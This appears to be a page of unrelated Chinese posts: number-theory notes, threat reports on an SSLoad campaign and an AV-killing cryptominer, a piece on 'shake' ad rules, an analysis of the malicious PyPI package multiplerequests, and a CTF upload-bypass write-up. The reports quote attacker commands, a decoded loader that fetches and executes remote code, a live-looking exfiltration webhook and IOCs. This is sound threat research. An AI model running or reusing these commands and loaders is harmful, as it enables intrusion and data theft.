让后把逆元变成要除的这个数的分之一,相乘就等于除了他 剩余类 同余关系(等价关系) 剩余类(等价类) 等价类:设 ~ 是集合S上的等价关系对于a属于S,定义其等价类为 {x ∈ S | x~a+} 剩余类:设a∈Z,定义其剩余类为:{x∈Z |x ≡ a(mod n} 剩余类也有这个性质 剩余类中的每个整数都叫作这个剩余类的代表元 比如:-10,-5,0,5,10等,都是[0]的代表元 剩余类的乘法逆元: 设 u= [a],v=[b] ,则 u和v互为乘法逆元<=>ab≡ 1(mod n)即: u(和v)有乘法逆元<=>a(和b)与n互素 如果乘法逆元存在的话必然是唯一的 中国剩余定理CRT 在中国这个定理有一个名字叫孙子定理 物不知数: x≡2(mod 3) x≡3(mod 5) x≡2(mod 7) ni*的-1次方表示的是ni*在模ni的乘法逆元 欧拉定理和费马小定理 设a∈Z*n的乘法阶为k,则以下整数彼此不同: a的0次方,1次方,2次方,3,次方…….a的k-1次方(所有运算都模n) 二次剩余 模p下二次剩余 p是奇数(p是素数,且p不等于2) 模p^k下的二次剩余
  8. FROZEN#SHADOW 被发现采用了一种新的攻击活动,该活动利用 SSLoad 恶意软件进行操作,并利用 Cobalt Strike Implants 来控制和接管整个网络。 此外,威胁分子还使用 ScreenConnect RMM 等远程监控和管理软件进行进一步控制。 SSLoad 是一种精心设计的恶意软件,可以秘密渗透系统、收集敏感信息,并将收集到的信息泄露给恶意软件操作者。 此外,该恶意软件还利用多个后门和有效负载来逃避检测并保持持久性。 技术分析 这种新的攻击活动从包含恶意链接的传统网络钓鱼电子邮件开始。 当用户访问此链接时,它会将他们重定向到 mmtixmm[.]org URL 到另一个下载站点,在该站点将 JavaScript 文件下载到受害者计算机。如果手动执行此 JavaScript 文件,它会执行多项操作,在受害者计算机上下载并执行更多有效负载。 这些网络钓鱼电子邮件活动的目标似乎是随机的,因为受害者分布在多个国家,包括亚洲、欧洲和美洲。 对恶意软件的进一步调查表明,攻击发生在以下不同阶段: ·第 1 阶段:初始执行 – JavaScript ·第 2 阶段:MSI 文件执行 ·第 3 阶段:恶意软件执行 ·第 4 阶段:钴击执行 ·第 5 阶段:RMM 软件和横向移动 第 1 阶段:初始执行 – JavaScript 此初始阶段涉及手动执行 JavaScript 文件。通过分析 JS 文件 out_czlrh.js,发现它由 97.6% 的注释代码组成,其中包含随机字符以混淆文件。然而,删除注释代码后会发现一段非常清晰的 JS 代码,没有任何混淆。 具有多个注释代码的 JS 文件代码 在分析 JS 代码时,我们发现 JS 文件执行多个操作,首先为 WScript.Network 和 Scripting.FileSystemObject 创建 ActiveXObject 实例。 此后,包含“GetObject(“winmgmts:\\.\root\cimv2”)”的 JS 代码尝试访问 WMI 对象以进行简单的命令行操作。 从 JS 代码中删除注释后清理代码 此外,代码还设置变量来管理连接尝试次数并收集网络共享的连接状态。 该脚本还将所有可用驱动器映射到位于 \wireoneinternet[.]info@80\share\ 的网络共享。JS 代码还通过 WMI 执行“net use”命令以正确映射网络驱动器。 成功完成所有这些步骤后,脚本将构造一个命令,使用 msiexec.exe 从映射的网络驱动器安装 MSI 包 (slack.msi)。 第 2 阶段:MSI 执行 此 slack.msi 文件与 TrickBot 恶意软件团伙经常使用的 BazarBackdoor 类似。该恶意软件能够过滤网络并部署额外的有效负载。但是,执行此 slack.msi 文件后,恶意软件会与多个域进行通信。 · wireoneinternet[.]info · skinnyjeanso[.]com · titnovacrion[.]top · Maramaravilha[.]com · globalsolutionunlimitedltd[.]com此外,只有在此之后,SSLoad 恶意软件才会下载并执行。 SSLoad 的有效负载由一个半随机命名的 DLL 文件组成,该文件位于 %APPDATA%\local\digistamp\mbae-api-na.dll 中。然而,该 DLL 由 Rundll32.exe 执行,之后 DLL 将自身复制到 %APPDATA%\Custom_update\。 第 3 阶段:恶意软件执行 除了前一阶段之外,rundll32.exe 命令的执行还将开始与两个预配置的 C2 服务器通信,即 hxxps://skinnyjeanso[.]com/live/ 和 hxxps://titnovacrion[.]top/live/. Following this。此后,恶意软件开始使用 cmd.exe 命令收集本地主机的系统和用户数据以及域相关信息。 · exe /c ipconfig /all · exe /c systeminfo · exe /c nltest /domain_trusts · exe /c nltest /domain_trusts /all_trusts · exe /c net view /all /domain · exe /c net view /all · exe /c net group “domain admins” /domain · exe /c wmic.exe /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get * /format:list · exe /c net config workstation · exe /c wmic.exe /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname | findstr /v /b /c:displayname || echo no antivirus installed · exe /c whoami /groups然后,这些收集到的信息将通过 HTTPS 连接发送到 C2 服务器。一旦威胁分子从受感染的系统收到此信息,他们就会在确认该信息来自合法服务器而不是来自蜜罐后开始执行一些手动命令。威胁分子执行的手动命令如下: · exe -c “[console]::outputencoding = [console]::inputencoding = [system.text.encoding]::getencoding(‘utf-8’); cd c:\; powershell” · exe /groups · exe group “domain admins”/dom · exe /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get * /format:list执行这些命令是为了操纵和探测服务器环境以进行下一阶段的恶意软件活动。 第 4 阶段:钴打击信标 此阶段的恶意软件涉及在执行手动命令后在系统上部署 Cobalt Strike 信标。一旦部署该信标,它就成为 C2 的主要通信手段。但是,该信标将通过 rundll32.exe 命令删除并执行。 ·Rundll32.exe C:\ProgramData\msedge.dll,MONSSMRpgaTQssmrpgatq此外,威胁分子还使用 Cobalt Strike 下载并安装 ScreenConnect RMM 软件实例。 · exe /c whoami /groups · exe /c wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get * /format:list · exe /c iwr -uri “hxxps://t0talwar.screenconnect[.]com/bin/screenconnect.clientsetup.msi?e=access&y=guest&c=&c=tjx-usa.com&c=&c=dc&c=&c=&c=&c=” -outfile c:\programdata\msedgeview.msi · exe /c systeminfo · exe /c msiexec.exe /i C:\ProgramData\Msedgeview.msi /quiet /qn第 5 阶段:RMM 软件和横向移动 每个受感染的系统均由 ScreenConnect RMM 软件控制,以保持对系统的完全控制。然而,在此之后,横向移动将通过获取凭证和其他关键系统详细信息进行。环境的枚举是使用多个 PowerShell 命令完成的。 执行凭据提取后,他们还可以获得域管理员帐户 NTLM 哈希。 IOC C2地址 85.239.54[.]190 23.159.160[.]88 23.95.209[.]148 45.95.11[.]134 bjSdg0.pintaexoticfashion.co[.]in l1-03.winupdate.us[.]to 23-95-209-148-host.colocrossing[.]com:443 mmtixmm[.]org wireoneinternet[.]info skinnyjeanso[.]com titnovacrion[.]top simplyfitphilly[.]com kasnackamarch[.]info sokingscrosshotel[.]com danteshpk[.]com stratimasesstr[.]com winarkamaps[.]com globalsolutionunlimitedltd[.]com maramaravilha[.]com krd6[.]com hxxps://t0talwar.screenconnect[.]com
  9. 1 概述 近期,安天CERT通过网络安全监测发现了一起新的挖矿木马攻击事件,该挖矿木马从2023年11月开始出现,期间多次升级组件,目前版本为3.0。截止到发稿前,该挖矿木马攻击事件持续活跃,感染量呈上升态势。主要特点是隐蔽性强、反分析、DLL劫持后门和shellcode注入等,因此安天CERT将该挖矿木马命名为“匿铲”。 在此次攻击活动中,攻击者利用了两个比较新颖的技术以对抗反病毒软件,第一个技术是滥用反病毒软件的旧版本内核驱动程序中的功能来结束反病毒软件和EDR,这个技术通过一个主体的PowerShell脚本、一个独立的PowerShell脚本和一个控制器(内存加载的小型可执行文件)来完成,主体的PowerShell脚本用于下载并安装反病毒软件的旧版本内核驱动程序,独立的PowerShell脚本用于解密并内存加载控制器,控制器用来控制内核驱动程序。虽然被滥用的旧版本内核驱动程序早已更新,但目前仍能被非法利用并有效结束大多数反病毒软件。 第二个技术是利用MSDTC服务加载后门DLL,实现自启动后门,达到持久化的目的。这个技术利用了MSDTC服务中MTxOCI组件的机制,在开启MSDTC服务后,该组件会搜索oci.dll,默认情况下Windows系统不包含oci.dll。攻击者会下载后门DLL重命名为oci.dll并放在指定目录下,通过PowerShell脚本中的命令创建MSDTC服务,这样该服务会加载oci.dll后门,形成持久化操作。 经验证,安天智甲终端防御系统不会被反病毒软件的旧版本内核驱动程序所阻断,也能够对该后门DLL的有效查杀。 2 攻击流程 “匿铲”挖矿木马首先会从放马服务器上下载名为“get.png”的PowerShell脚本,解码后执行哈希验证、创建计划任务、禁用系统自带杀毒软件和创建服务等操作。 之后会下载“kill.png”脚本和“delete.png”、“kill(1).png”两个压缩文件,脚本解码出shellcode代码,shellcode代码经过解密得到控制器(一个可执行文件)并注入到powershell.exe进程中,两个压缩文件经过解压缩得到反病毒厂商的旧版本内核驱动程序“aswArPots.sys”和“IObitUnlockers.sys”,由控制器调用,终止杀毒软件和EDR程序等。还会根据受害主机自身系统型号下载对应的“86/64.png”的压缩文件,解压缩后会得到oci.dll文件,通过MSDTC服务调用实现DLL劫持后门。 在“get.png”脚本中还看到了下载“backup.png”脚本的地址,但下载函数还未实现,可能后续版本会加,该脚本主要功能是发送心跳接收命令等。最后“get.png”脚本会下载“smartsscreen.exe”程序,该程序会下载挖矿程序及其组件进行挖矿。 图 2‑1 攻击流程图 3 样本梳理与功能分析 3.1 样本梳理 针对该挖矿木马攻击,对其样本及功能进行梳理,如下表所示: 表 3‑1 样本及功能梳理 样本名 落地名 样本路径 功能 get.png 不落地 内存中 初始投放载荷,下载后续样本,持久化 backup.png 无 无 初始投放载荷没有定义下载该样本,推测后续增加 run.bat run.bat C:\Users\Public powershell命令下载get.png kill.png 不落地 powershell.exe内存中 终止杀毒软件和EDR等进程 kill.png(1) aswArPots.sys C:\Windows\System32\drivers delete.png IObitUnlockers.sys C:\Windows\System32\drivers 强制删除文件和进程 86.png/64.png oci.dll C:\Windows\System32 DLL劫持后门 smartsscreen.png smartsscreen.exe C:\Windows\Fonts 下载挖矿程序等 curl.png curl.exe C:\Windows\Fonts curl官方文件 config.json config.json C:\Windows\Fonts 挖矿配置文件 taskhostw.png taskhostw.exe C:\Windows\Fonts XMRig挖矿程序 WinRing0x64/32.png WinRing0x64/32.sys C:\Windows\Fonts 挖矿驱动程序 config.txt 不落地 无 包含版本信息及样本哈希 表 3‑2 挖矿程序中的矿池地址和钱包地址 矿池地址 钱包地址 111.90.143.130:80 ZEPHYR2ty7pYE3wUdjLn1QKsFLiatXdMZHZzQSJToaoFM1LvWPzuqsvdtLzXRRk2hhFTxLCvLnAr4XJBCvrVfUeP8F6XC7QLgza47 93.95.228.47:80 zephyr.herominers.com:1123 3.2 样本功能分析 3.2.1 核心脚本模块分析(get.png) 利用系统自带的工具删除指定计划任务、结束指定进程和停止指定服务,疑似清理与其存在竞争关系的挖矿木马持久化操 图 3‑1 删除计划任务等 遍历所有可能的驱动器字母(从A到Z),检查每个驱动器是否有足够的可用空间。如果找到符合条件的驱动器,则返回该驱动器的名称,如果遍历完所有驱动器都没有找到,则返回空。 图 3‑2 遍历驱动器 清理C:\Windows\Installer目录中的空间,查找该目录中最大的文件。搜索C:驱动器根目录和除了一些系统目录之外的所有子目录中具有特定扩展名(.exe、.msi、.iso、.7z、.rar、.zip)的最大文件。如果找到了最大的文件,将其删除,以便释放空间。 图 3‑3 释放空间 定义了所需的空间量为10MB,如果找到了一个合适的驱动器,函数将尝试创建一个隐藏的目录\$RECYCLE.BIN\Fonts来保存文件。 图 3‑4 下载文件存放位置 尝试通过DoH服务获取域名对应的IP地址,如果失败,则尝试使用传统的DNS查询方法。如果两种方法都失败,则使用备份的IP地址。目的是确保可以获取到用于HTTP和FTP下载的域名的IP地址。 图 3‑5 获取域名对应IP地址 通过字符串替换操作来更新配置信息,以确保配置文件中的下载地址与实际的下载服务器地址一致。添加一个时间戳参数,通常用于确保每次请求都会加载最新的内容,而不是从缓存中加载。将HTTP地址转换为FTP地址,并移除了可能存在的时间戳参数。 图 3‑6 更新配置信息 创建多个计划任务,分别执行后续下载到的载荷。计划任务名分别为“OneDriveCloudSync”、“DefaultBrowserUpdate”、“OneDriveCloudBackup”,分别对应执行更新程序、自身文件、smartsscrren.exe。 图 3‑7 创建计划任务 清理自身旧的进程。 图 3‑8 清理自身旧的进程 从远程服务器获取配置信息,并确保配置信息中的某些字符串哈希值存在。如果这些字符串存在,函数将停止循环,并继续执行后续的脚本操作。如果字符串不存在,尝试使用FTP协议再次下载配置信息。 图 3‑9 验证配置信息是否一致 配置信息如下,其中包括curl、xm、xmc、xms、smart、scan、ms86、ms64、dkill和ddelete字符串。 图 3‑10 配置信息 禁用Windows Defender的实时监控,关闭rpc服务,清理系统的垃圾文件和日志等。 图 3‑11 禁用系统自带杀毒软件 从指定的URL下载文件并保存到C:\Windows\System32\drivers,创建并启动名为aswArPots和IObitUnlockers的服务。 图 3‑12 创建服务 停止并重启MSDTC服务,将下载的适用于主机系统的x86.png或x64.png重命名为oci.dll并保存在C:\Windows\System32中,通过MSDTC服务实现DLL劫持后门。 图 3‑13 DLL劫持后门 最后下载并运行多个后续组件,具体如图所示。 图 3‑14 下载后续组件 3.2.2 远控模块分析(backup.png) 该脚本用于将日期时间、受害者主机名进行2次BASE编码并回传至攻击者服务器,不断地向服务器发送心跳信号,接收命令,执行这些命令,并将命令的输出结果发送回服务器。 图 3‑15 发送心跳包等至服务器 3.2.3 对抗模块分析(kill.png) 该脚本实际为压缩和BASE64编码后的PowerShell脚本,该脚本会解密多层载荷,并在最后将一段shellcode代码注入到powershell.exe进程中。 图 3‑16 进程注入 shellcode会解密内嵌的一段PE再次实现内存加载。最终加载的PE数据为白名单驱动利用模块,该模块会伪装白名单通信的驱动协议,操纵底层驱动利用系统权限删除、终止指定的进程或文件,大部分进程为杀毒软件、防火墙、沙箱等安全软件的核心进程。该可执行文件旨在整理正在运行的进程列表,然后将它们与Anti-Virus和EDR进程名称的CRC64校验和值的混淆硬编码列表进行比较。如果任何进程名称与硬编码列表中的条目直接关联,则会将I/O控制(IOCTL)代码发送到Avast驱动程序,从而导致进程终止。部分被列入攻击者处理名单的进程名如下: 图 3‑17 反杀毒软件驱动 3.2.4 自我更新模块分析(86/64.png) msdtc目录下具有两个文件:“86.png”、“64.png”。分别对应32位环境与64位环境,两个样本在代码结构方面完全一致,仅在编译时选择的目标系统位数不同。该文件仅负责从攻击者服务器重新下载“get.png”并执行,用于自我更新。 图 3‑18 自我更新下载get.png 3.2.5 挖矿组件下载器模块分析(smartsscreen.exe) 该文件为挖矿组件的下载模块,由Golang语言开发,运行后会访问攻击者服务器下载挖矿各个组件等。 图 3‑19 下载后续挖矿组件 该组件运行后会访问攻击者服务器下载“config.txt”、“curl.png”用于校验挖矿组件HASH与下载挖矿组件。随后分别访问下载XMRig官方开源挖矿组件。其中“taskhostw.png”为挖矿程序,“config.json”为挖矿配置文件,“WinRing0x64.png”为XMRig运行所需驱动。 图 3‑20 下载挖矿组件网络数据 4 挖矿木马落地排查与清除方案 4.1 挖矿木马落地识别 1. 计划任务 计划任务名 对应样本路径 DefaultBrowserUpdate C:\Users\Public\run.bat OneDriveCloudBackup cmd.exe /c start C:\Windows\Fonts\smartsscreen.exe OneDriveCloudSync cmd.exe /c C:\Windows\System32\sc.exe start msdtc 2. 文件 文件名 路径 smartsscreen.exe C:\Windows\Fonts taskhostw.exe WinRing0x64/32.sys curl.exe config.json run.bat C:\Users\Public\run.bat oci.dll C:\Windows\System32 aswArPots.sys C:\Windows\System32\drivers IObitUnlockers.sys 3. 服务 服务名 对应注册表 MSDTC HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSDTC 4. 进程 进程名 路径 powershell.exe 内存执行 smartsscreen.exe C:\Windows\Fonts taskhostw.exe 5. 网络 IP 功能 111.90.158.40 挂马服务器 111.90.143.130:80 矿池地址 93.95.228.47:80 4.2 清除方案 建议采用安天系统安全内核分析工具(ATool)*免费版(下载地址:https://vs2.antiy.cn/)进行检测查杀,首先删除三个计划任务,计划任务名为DefaultBrowserUpdate、OneDriveCloudBackup和OneDriveCloudSync。 图 4‑1 删除计划任务 结束相应进程,smartsscreen.exe、taskhostw.exe和powershell.exe。 图 4‑2 结束相应进程 删除挖矿程序等对应目录中的样本。 图 4‑3 删除对应目录样本 删除对应的驱动文件,aswArPots.sys和IObitUnlockers.sys。重启MSDTC服务,如不是自身创建,可对应删除该服务。 图 4‑4 删除对应驱动文件 5 事件对应的ATT&CK映射图谱 针对攻击者投放挖矿木马的完整过程,安天梳理本次攻击事件对应的ATT&CK映射图谱如下图所示。 图 5‑1 事件对应的ATT&CK映射图谱 攻击者使用的技术点如下表所示: 表 5‑1 事件对应的ATT&CK技术行为描述表 ATT&CK阶段/类别 具体行为 注释 执行 利用命令和脚本解释器 使用PowerShell脚本命令 持久化 执行流程劫持 利用oci.dll劫持 利用计划任务/工作 创建计划任务 防御规避 进程注入 shellcode注入到powershell.exe中 修改注册表 修改注册表 反混淆/解码文件或信息 反混淆PowerShell命令 使用Rootkit aswArPots.sys反Rootkit监控 削弱防御机制 禁用Windows Defender 发现 发现文件和目录 查找指定目录最大文件 发现系统时间 获取系统时间 命令与控制 编码数据 回传编码数据 影响 资源劫持 占用CPU资源 6 防护建议 针对挖矿攻击,安天建议企业采取如下防护措施: 1. 安装终端防护:安装反病毒软件,针对不同平台建议安装安天智甲终端防御系统Windows/Linux版本; 2. 加强SSH口令强度:避免使用弱口令,建议使用16位或更长的口令,包括大小写字母、数字和符号在内的组合,同时避免多个服务器使用相同口令; 3. 及时更新补丁:建议开启自动更新功能安装系统补丁,服务器应及时更新系统补丁; 4. 及时更新第三方应用补丁:建议及时更新第三方应用如Redis等应用程序补丁; 5. 开启日志:开启关键日志收集功能(安全日志、系统日志、错误日志、访问日志、传输日志和Cookie日志),为安全事件的追踪溯源提供基础; 6. 主机加固:对系统进行渗透测试及安全加固; 7. 部署入侵检测系统(IDS):部署流量监控类软件或设备,便于对恶意代码的发现与追踪溯源。安天探海威胁检测系统(PTD)以网络流量为检测分析对象,能精准检测出已知海量恶意代码和网络攻击活动,有效发现网络可疑行为、资产和各类未知威胁; 8. 安天服务:若遭受恶意软件攻击,建议及时隔离被攻击主机,并保护现场等待安全工程师对计算机进行排查;安天7*24小时服务热线:400-840-9234。 部署企业级终端防御系统,实时检测防护即时通讯软件接收的不明文件。安天智甲终端防御系统采用安天下一代威胁检测引擎检测不明来源文件,通过内核级主动防御能力阻止其落地和运行。 图 6‑1 安天智甲终端防御系统有效防护 7 IoCs IoCs111.90.158.4093.95.225.137111.90.143.13093.95.228.47download.yrnvtklot.comftp.yrnvtklot.comonline.yrnvtklot.comzephyr.herominers.comhxxp://111.90.158.40/config.txthxxp://111.90.158.40/curl.pnghxxp://111.90.158.40/kill.pnghxxp://111.90.158.40/smartsscreen.pnghxxp://111.90.158.40/get.pnghxxp://111.90.158.40/msdtc/86.pnghxxp://111.90.158.40/msdtc/64.pnghxxp://111.90.158.40/drives/kill.pnghxxp://111.90.158.40/drives/delete.pnghxxp://111.90.158.40/backup.pnghxxp://111.90.158.40/config.jsonhxxp://111.90.158.40/info.txthxxp://111.90.158.40/taskhostw.pnghxxp://111.90.158.40/WinRing0x64.pnghxxp://93.95.225.137/updatehxxp://93.95.225.137/resultAE465AF2287D24CCDEEC8035A1E3F159B9E37DD582A6FF810672F9B33865C217851284B85ACA7D8E966F3F0DCF9AA33BC3834835873B9D7D6B9A2436F748AA51DC6CD17105168171C27FB167239636E18D31AE369E67EE0B412D889299F2B4B2AA8FFE5D6495AFB8515E1B7C27A7A4AC271520C83F847743AA6EACCD1B949797F6F15D525D1C893B996A01E1EA5CCC631801337FF3C1CBEC9B97ED0F7B79AC0B参考资料 [1]Aon.Yours Truly, Signed AV Driver: Weaponizing An Antivirus Driver[R/OL].(2022-02-06) https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
  10. 24年3月,工信部发布《关于侵害用户权益行为的APP(SDK)通报(2024年第2批,总第37批)》,对“摇一摇”乱跳转、信息窗口“关不掉”加强管理,工信部自2024年起于通报中强调本类问题,未来或将持续加强管理。为协助各App开发者了解工信部查处标准,特编写本文解读标准相关内容。 一、通报依据 “摇一摇”乱跳转问题查处依据工信部26号文及《T/TAF 078.7-2022 APP用户权益保护测评规范》。 在工信部26号文中提及:“开屏和弹窗信息窗口提供清晰有效的关闭按钮,保证用户可以便捷关闭;不得频繁弹窗干扰用户正常使用,或利用“全屏热力图”、高灵敏度“摇一摇”等易造成误触发的方式诱导用户操作。” 《T/TAF 078.7-2022 APP用户权益保护测评规范》对欺骗误导强迫用户点击跳转的情况细化为了4种情况,并对交互动作数值给出了明确限制,APP 欺骗误导强迫用户点击跳转,具体场景包括但不限于以下方式: 1、APP以欺骗、误导或者强迫等方式向用户提供互联网信息服务或者产品; 2、未以显著方式明示或未经用户主动选择同意,APP 信息窗口页面,存在跳转、使用第三方的行为; 3、APP信息窗口页面,跳转、使用第三方时,存在欺骗误导强迫用户跳转的文字、图片或视频链接; 4、APP信息窗口通过用户“摇一摇”等交互动作触发页面或第三方应用跳转的,未清晰明示用户需要执行的触发动作及交互预期,或通过设置高灵敏度降低交互动作判定阈值,造成误导、强迫式跳转。 注:触发用户跳转的交互动作可参照如设备加速度不小于15m/s2,转动角度不小于35°,操作时间不少于3s,或同时考虑加速度值与方向、转动角度的方式,或与前述单一触发条件等效的其他参数设置,确保用户在走路、乘车、拾起放下移动智能终端等日常生活中,非用户主动触发跳转的情况下,不会出现误导、强迫跳转。 二、常见违规原因 1、触发时操作时间小于3S&加速度小于15m/s 2、转动角度小于35°&操作时间少于3s 如不符合上述要求,将导致用户在走路、公共交通或甩手等日常使用场景下造成误触发,严重影响用户日常使用。企业此类违规行为完全无法欺瞒监管机构,爱加密作为各大监管机构支撑单位,可轻易检测出企业具体转动角度、加速度,给出整改意见。 三、如何查控参数 目前大多数App开发者依赖第三方广告SDK实现“摇一摇广告”,App开发者仅能调控是否开启“摇一摇广告”,无法调控具体触发精度。 由于“摇一摇广告”检测难度较大,涉及大量专业模拟器、特定代码检测,常规App开发者完全无力检测广告SDK设置的具体参数,将App违规风险、用户体验置于广告SDK。对于力求App合规运营的企业而言,急寻通过个人信息检测机构在应用上架前及购物节前检测App“摇一摇广告”参数。 目前,每逢“618”、“双十一”等大型购物节,在用户感知中开屏摇一摇广告变得更易触发,且落地页均为3大电商平台。因此引发海量用户的反感,并促使工信部自2024年起针对性查处并通报批评,通报名单中包含多款BAT旗下核心App。 爱加密基于法规内容,适配自动化检测,在检测过程中模拟”设备加速度不小于 15m/s2,转动角度不小于 35°,操作时间不少于 3s”的加速度传感器、陀螺仪传感器参数,看是否触发广告跳转。 如小于法规规定的情形产生了跳转行为,判断APP违规。基于模拟传感器的实现,我们同时推出了深度检测的模拟传感器,用户可通过实时投屏,同步操作APP。在必现的“摇一摇”广告中验证是否合规。用户可通过预设加速度传感器、操作时间、和角速度传感器的数值,在进入“摇一摇”广告或可触发跳转的其他页面时,触发传感器。我们将按照预设的数值模拟,此时观察是否触发跳转,达到人工检测的目的。 爱加密已实现模拟传感器检测“摇一摇”跳转广告的方案,需要手动输入多组数据进行实验,在法规规定的数值“设备加速度不小于 15m/s2,转动角度不小于 35°,操作时间不少于 3s”范围多次测试验证,确认是否违规。 为了接近真实使用场景,提高实验准确性,与国内某实验室合作,通过电机、固定装置、蓝牙模块、外置传感器等机械装置,组成机械臂;与平台链接,同时记录蓝牙传感器的加速度、角速度和手机传感器的加速度和角速度等数据,且手机在机械臂中为固定方向,更好的形成对照组和实现组数据,减少多个方向晃动产生多组数据影响结果评估。调整电机档位,实现不同粒度的“摇一摇”复现实际用户使用情况。 爱加密时刻关注我国的移动应用安全发展状况,致力于通过优质的核心技术服务监管部门及企业,从行业实践角度着手大力推动我国移动应用生态的良好发展。
  11. 概述 近日(2024年4月25号),悬镜供应链安全情报中心在Pypi官方仓库(https://pypi.org/)中捕获1起CStealer窃密后门投毒事件,投毒者连续发布6个不同版本的恶意Py包multiplerequests,目标针对windows平台python开发者,该恶意包在安装时会远程加载CStealer后门到受害者系统上执行,该后门会窃取受害者系统敏感信息、主流浏览器隐私数据、数字货币钱包应用数据以及系统屏幕截屏等。此外,后门还会尝试驻留Windows系统启动目录实现开机自启动。 截至目前,恶意Py包multiplerequests在pypi官方仓库上被下载435次。 pypi仓库恶意包multiplerequests下载量 该恶意Py包仍可从国内主流Pypi镜像源(清华大学、腾讯云等)下载安装,因此潜在的受害者数量可能会更多。 清华镜像源 以国内清华大学镜像源为例,可通过以下命令测试安装该恶意组件包。 pip3 install multiplerequests -i https://pypi.tuna.tsinghua.edu.cn/simple 由于该恶意Py包只针对Windows系统,测试环境使用Linux系统,导致恶意包安装过程中触发恶意代码时触发非预期的Windows系统路径(~\\AppData\\Roaming/frvezdffvvcode.py) 的文件写入操作。 投毒分析 以multiplerequests恶意包2.31.0版本为例,当Python开发者使用pip install从Pypi官方仓库或下游镜像源直接安装或依赖引用恶意组件包时,将自动触发执行Python安装包setup.py中经过base64编码的恶意代码。 恶意代码base64解码后如下所示,第一阶段恶意代码进一步从投毒者服务器上(https://frvezdffvv.pythonanywhere.com/getpackage)拉取第二阶段恶意代码并执行。 from urllib import request package_url = "https://frvezdffvv.pythonanywhere.com/getpackage" package_name = request.urlopen(package_url).read() exec(base64.b64decode(package_name))第二阶段恶意代码同样经过base64编码,如下所示: 第二阶段恶意代码(base64编码) Base64解码后还原出真实的第二阶段恶意代码,如下所示: 第二阶段真实恶意代码 经代码分析后确认该恶意代码是github开源CStleaer后门项目的变种版本(https://github.com/can-kat/cstealer/blob/main/cstealer.py)。 CStealer窃密后门项目 该恶意代码主要包括以下功能: 1. 收集系统敏感信息 2. 收集浏览器隐私数据 3. 收集数字钱包应用数据 4. 系统屏幕截屏 5. 开机自启动 收集系统敏感信息 通过python内置platform和socket模块获取操作系统版本、处理器、网卡MAC、网络IP地址、主机名等敏感信息,并将数据外传到投毒者webhook接口(https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot)。 系统信息收集功能 收集浏览器隐私数据 针对基于chromium内核的主流浏览器(chrome、opera、edge、torch、yandex、epic等)进行用户隐私数据收集,包括cookie、登录凭证、浏览历史数据、下载记录等。 浏览器用户隐私数据收集功能 浏览器数据收集后,会被压缩打包发送到投毒者webhook接口 浏览器隐私数据外传功能 收集数字钱包应用数据 针对主流数字钱包(Atomic Wallet、Binance、Electrum等)的应用数据进行压缩打包后,利用curl将钱包数据外传到投毒者服务器(https://store1.gofile.io/uploadFile)。 数字钱包及其应用数据路径 数字钱包应用数据外传接口 系统屏幕截屏 首先从攻击者服务器(https://frvezdffvv.pythonanywhere.com/getmss)下载python mss模块安装包(mss.zip)到目标系统中,并对安装包进行解压。 远程下载python mss屏幕截屏模块 python mss是个基于ctypes实现的跨平台屏幕截屏模块,项目源码托管在github上(https://github.com/BoboTiG/python-mss)。 Python MSS开源项目 如下所示,恶意代码利用python-mss模块获取受害者系统的屏幕截屏后,将截屏数据发送到投毒者webhook接口上。 系统屏幕截屏及数据回传 开机自启动 该CStealer后门还会将自身恶意代码拷贝到Windows系统启动目录,尝试通过开机自启动实现投毒持久化。 恶意后门写入Windows系统自启动目录 IoC数据 此次投毒组件包涉及以下IoC数据: IoC 类型 SHA256 multiplerequests-2.31.0/setup.py 文件 e6eb8d5f7d451e8833551337c3b775170071935581059c553fa889f046a81c3f https://frvezdffvv.pythonanywhere.com/getpackage URL https://discord.com/api/webhooks/1233936673201717258/ZkGsTyRGKfqYb2BWGqAjLNYNWZhca-yEVm3gpTYSSvkUV9JRXNQVaTuW4VPr2Jgs9Oot URL https://frvezdffvv.pythonanywhere.com/getmss URL https://rentry.co/u4tup/raw URL https://rentry.co/5crcu/raw URL https://rentry.co/5uu99/raw URL https://rentry.co/pmpxa/raw URL https://store1.gofile.io/uploadFile URL 排查方式 截至目前,该Python恶意组件包仍可从国内主流Pypi镜像源正常下载安装,国内Python开发者可根据恶意包信息和IoC数据通过以下方式进行快速排查是否安装或引用恶意组件包。 开发者可通过命令pip show multiplerequests快速排查是否误安装或引用该恶意py组件包,若命令运行结果如下图所示,则代表系统已被安装该恶意组件,请尽快通过命令pip uninstall multiplerequests -y 进行卸载,同时还需关闭系统网络并排查系统是否存在异常进程。 此外,开发者也可使用OpenSCA-cli,将受影响的组件包按如下示例保存为db.json文件,直接执行扫描命令(opensca-cli -db db.json -path ${project_path}),即可快速获知您的项目是否受到投毒包影响。 [ { "product": "multiplerequests", "version": "[2.31.0, 2.31.1, 2.31.2, 2.31.3, 2.31.4, 2.31.5]", "language": "python", "id": "XMIRROR-MAL45-7DF79312", "description": "Python恶意组件包multiplerequests开展CStealer窃密后门攻击", "release_date": "2024-04-25" } ]悬镜供应链安全情报中心将持续监测全网主流开源软件仓库,对潜在风险的开源组件包进行动态跟踪和溯源,实现快速捕获开源组件投毒攻击事件并第一时间提供精准安全预警。
  12. 前言 参赛队员:lemon godyu biu801 ->Web方向 100%_upload 打开 fuzz一遍发现php被过滤 改后缀发现内容不能涵盖php 最后发现jpg png等都能上传 文件内容以<? ?>来取代<?php ?>绕过文件内容拦截 文件内容被include函数解析 蚁剑连 拿flag 方法2 这里可以先用伪协议读取下upload.php的源码看一下过滤 <?php if(isset($_FILES['upfile'])){ $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['upfile']['name']); $ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION); $text = file_get_contents($_FILES['upfile']['tmp_name']); echo $ext; if (!preg_match("/ph.|htaccess/i", $ext)){ if(preg_match("/<\?php/i", $text)){ echo "茂夫说:你的文件内容不太对劲哦<br>"; } else{ move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile); echo "上传成功<br>路径为:" . $uploadfile . "<br>"; } } else { echo "恶意后缀哦<br>"; } } ?> 